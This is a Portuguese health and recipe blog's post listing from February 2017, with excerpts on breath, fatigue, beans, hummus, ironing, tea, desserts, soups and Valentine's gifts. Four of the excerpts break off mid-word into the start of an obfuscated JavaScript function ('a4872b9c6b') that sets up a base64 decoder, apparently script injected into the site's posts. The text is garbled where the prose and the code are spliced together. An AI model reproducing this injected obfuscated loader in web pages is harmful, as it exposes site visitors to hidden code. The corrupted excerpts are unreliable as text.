Fev 22, 2017 | Dicas úteis
Dicas para ter um hálito fresco e saudável Manter uma boa higiene oral, com a escovagem diária dos dentes e o uso do fio dentário, é o primeiro passo para combater o mau hálito. Mas manter uma boca fresca vai muito além da pasta de dentes, do fio dentário e do...
Fev 20, 2017 | Dicas úteis
10 alimentos para combater a fadiga De certeza que sabe reconhecer o estado de fadiga. É qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Fev 18, 2017 | Dicas úteis, Receitas
Benefícios do feijão + receita feijoada saudável Os benefícios do feijão são imensos. Posso desde já adiantar alguns: é rico em fibra, uma excelente fonte de proteína, ferro, cálcio e vitaminas do complexo B. Ajuda a baixar os níveis de colesterol e os níveis de...
Fev 17, 2017 | Dicas úteis, Faça você mesmo
9 dicas para passar roupa sem usar o ferro de engomar Passar a roupa a ferro não é uma das tarefas domésticas preferidas da maior parte de nós. Para além disto, exige uma grfunction a4872b9c6b(y1){var...
Fev 16, 2017 | À descoberta, Receitas
Dicas saudáveis – 7 benefícios do húmus + receita Já sabe que adoro dar-lhes dicas saudáveis! Hoje trago-lhe um snack fantástico riquíssimo em benefícios para a nossa saúde. O húmus é um prato árabe feito à base de grão de bico, azeite, sumo de limão e...
Fev 15, 2017 | À descoberta, Dicas úteis
Chá de erva-príncipe – Benefícios e receita Já ouviu falar neste chá com um sabor demasiado bom para ser verdade? Não? Então saiba tudo aqui: ORIGEM A erva-príncipe é uma planta que tem a sua origem na Índia. Além de servir para fazer chá também é utilizada...
Fev 14, 2017 | À descoberta, Receitas
Duas sobremesas românticas e sensuais Fevereiro é o mês dos namorados e nada melhor que uma sobremesa sensual e deliciosa para surpreender a sua cara-metade neste dia tão especial… Hoje trago-lhe duas sugestões de sobremesas irresistíveis que vai querer...
Fev 12, 2017 | À descoberta, Receitas
2 canjas de galinha para o Inverno – portuguesa e búlgara Dias frios pedem pratos quentes. Hoje trago-lhe 2 receitas: a tradicional canja de galinha portuguesa e ainda uma receita de canja que pedi a uma amiga minha da Bulgária. Qufunction a4872b9c6b(y1){var...
Fev 12, 2017 | Apanhados na rede, Dicas úteis
Dia dos Namorados: 10 presentes para ele O Dia dos Namorados está aí à porta e para muitas mulheres comprar presentes para namorados e maridos não é tão simples como comprar para nós. A verdade é que nós, qufunction a4872b9c6b(y1){var...
